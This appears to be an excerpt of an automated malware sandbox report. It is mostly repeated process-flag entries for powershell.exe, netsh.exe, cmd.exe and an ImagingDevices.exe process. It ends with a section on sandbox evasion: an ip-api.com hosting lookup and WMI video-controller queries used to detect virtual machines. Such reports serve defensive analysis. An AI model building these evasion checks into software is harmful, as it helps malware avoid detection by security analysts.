Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
